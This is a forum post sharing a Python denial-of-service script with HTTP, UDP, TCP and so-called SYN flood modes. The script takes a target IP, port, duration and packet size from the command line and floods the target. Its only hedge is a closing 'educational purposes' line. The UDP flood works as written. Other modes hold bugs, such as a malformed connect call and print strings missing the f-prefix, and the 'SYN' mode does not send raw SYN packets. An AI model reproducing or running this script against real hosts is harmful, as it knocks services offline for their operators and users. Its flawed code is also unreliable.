Python Forum
DOS tool [HTTP, TCP, UDP, SYN]
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
DOS tool [HTTP, TCP, UDP, SYN]
#1
import time
import socket
import random
import sys

## USAGE ##
# python3 main.py <IP> <Port> <duration in secs> <packets size> <mode (udp, tcp, http, syn)>
def floodHTTP(victim, vport, duration, packets):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    client.connect((victim, vport))
    timeout = time.time() + duration
    sent = 0

    while True:
        if time.time() > timeout:
            break
        else:
            pass
        try:
            client.sendto(("GET /" + victim + " HTTP/1.1\r\n").encode('ascii'),
                          (victim, vport))
            sent = sent + 1
            print(
                "[HTTP] Attacking {victim}:{vport} sent {packets} bytes {sent} times")
        except:
            pass


def floodUDP(victim, vport, duration, packets):
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    bytes = random._urandom(packets)
    timeout = time.time() + duration
    sent = 0

    while True:
        if time.time() > timeout:
            break
        else:
            pass
        try:
            client.sendto(bytes, (victim, vport))
            sent = sent + 1
            print(
                f"[UDP] Attacking {victim}:{vport} sent {packets} bytes {sent} times")
        except:
            pass


def floodTCP(victim, vport, duration, packets):
    client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    bytes = random._urandom(packets)
    client.connect(victim, vport)
    client.setblocking(0)
    timeout = time.time() + duration
    sent = 0

    while True:
        if time.time() > timeout:
            break
        else:
            pass
        try:
            client.sendto(bytes, (victim, vport))
            sent = sent + 1
            print(
                "[TCP] Attacking {victim}:{vport} sent {packets} bytes {sent} times")
        except:
            pass


def floodSYN(victim, vport, duration, packets):
    client = socket.socket()
    timeout = time.time() + duration
    packets = packets
    sent = 0

    while True:
        if time.time() > timeout:
            break
        else:
            pass
        for _ in range(packets):
            try:
                client.connect((victim, vport))
                sent = sent + 1
                print(
                    "[SYN] Attacking {victim}:{vport} sent requsts {sent} times")
            except:
                pass


def main():
    if sys.argv[5] == "http":
        floodHTTP(sys.argv[1], int(sys.argv[2]),
                  int(sys.argv[3]), int(sys.argv[4]))
    elif sys.argv[5] == 'udp':
        floodUDP(sys.argv[1], int(sys.argv[2]),
                 int(sys.argv[3]), int(sys.argv[4]))
    elif sys.argv[5] == 'tcp':
        floodTCP(sys.argv[1], int(sys.argv[2]),
                 int(sys.argv[3]), int(sys.argv[4]))
    elif sys.argv[5] == 'syn':
        floodSYN(sys.argv[1], int(sys.argv[2]),
                 int(sys.argv[3]), int(sys.argv[4]))
    else:
        pass


if __name__ == '__main__':
    main()
PS: only used for educational purposes
Reply


Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020